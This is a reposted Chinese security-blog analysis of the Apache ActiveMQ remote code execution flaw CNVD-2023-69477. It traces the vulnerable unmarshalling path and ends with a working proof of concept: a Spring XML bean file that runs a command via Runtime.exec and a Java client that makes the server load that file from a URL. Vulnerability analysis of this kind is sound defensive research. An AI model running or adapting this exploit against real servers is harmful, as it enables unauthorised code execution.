Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

admin 2024年2月15日19:21:07评论7 views字数 2718阅读9分3秒阅读模式

漏洞概述

Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。

影响版本

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

调试环境搭建

https://activemq.apache.org/activemq-5018002-release

下载apache-activemq-5.18.2-bin.zip打开apache-activemq-5.18.2binwin64wrapper.conf添加idea调试语句

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

运行activemq.bat启动,接着将源码导入idea里就可以远程调试了

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

漏洞分析

在github里的diff里发现新版本修复是添加了OpenWireUtil.validateIsThrowable方法。

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

这个方法主要是判断clazz是否为Throwable类

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

这就能发现漏洞原因主要是因为createThrowable方法里存在反射调用String类型有参构造方法。

可以配合ClassPathXmlApplicationContext类进行解析xml触发RCE。

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

通过查找发现BaseDataStreamMarshaller类里有两处都调用了此方法,这两处都是可以进行利用的,这里我就从tightUnmarsalThrowable方法讲了。tightUnmarsalThrowable方法将传入的dataIn获取clazz和message

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

通过查找发现tightUnmarsalThrowable方法有四处调用了,其中ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller这三个类都可以进行利用,都是大差不差的,这里就用ExceptionResponseMarshaller类讲了。

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

ExceptionResponseMarshaller这个类主要是对ExceptionResponse进行序列化/反序列化的类

反序列化方法:将dataIn进行反序列化赋值给ExceptionRespo.exception属性里

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

序列化方法:获取ExceptionRespo.exception属性值进行序列化,因为BaseDataStreamMarshaller是ExceptionResponseMarshaller的父类,所以tightMarshalThrowable1方法调用到了父类。

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

ExceptionResponse类:exception属性是Throwable类型

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

在ExceptionResponseMarshaller序列化时会将传入的对象转换为ExceptionResponse类型,并调用getException方法获取exception对象,所以我们在客户端构造一个自定义的ClassPathXmlApplicationContext继承Throwable,然后客户端通过ExceptionResponse.setException方法将ClassPathXmlApplicationContext对象传入,之后调用TcpTransport.oneway发送。

在服务端反序列化时,就会进入ExceptionResponseMarshaller.tightUnmarshal解析我们构造的异常类名和参数,最终解析XML触发RCE。

ClassPathXmlApplicationContext类

这里注意的是我们自定义的这个类的包名需要和springframework里的ClassPathXmlApplicationContext类包名一致,这样的话到服务端就会执行springframework包里的ClassPathXmlApplicationContext类。

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

poc.xml:

<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
   <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
   <bean id="process" factory-bean="runtime" factory-method="exec">
       <constructor-arg value="cmd /c start calc" />
   </bean>
</beans>

漏洞复现:

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
       Connection connection = connectionFactory.createConnection();
       connection.start();

       Throwable obj2 = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
       ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
      ((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
}

参考链接:

https://xz.aliyun.com/t/12929

Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

 如果对这方面感兴趣的可以点个赞支持一下小编后续会继续更新Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

原文始发于微信公众号(October安全):Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:21:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache ActiveMQ RCE漏洞分析 (CNVD-2023-69477)https://cn-sec.com/archives/2251725.html

发表评论

匿名网友 填写信息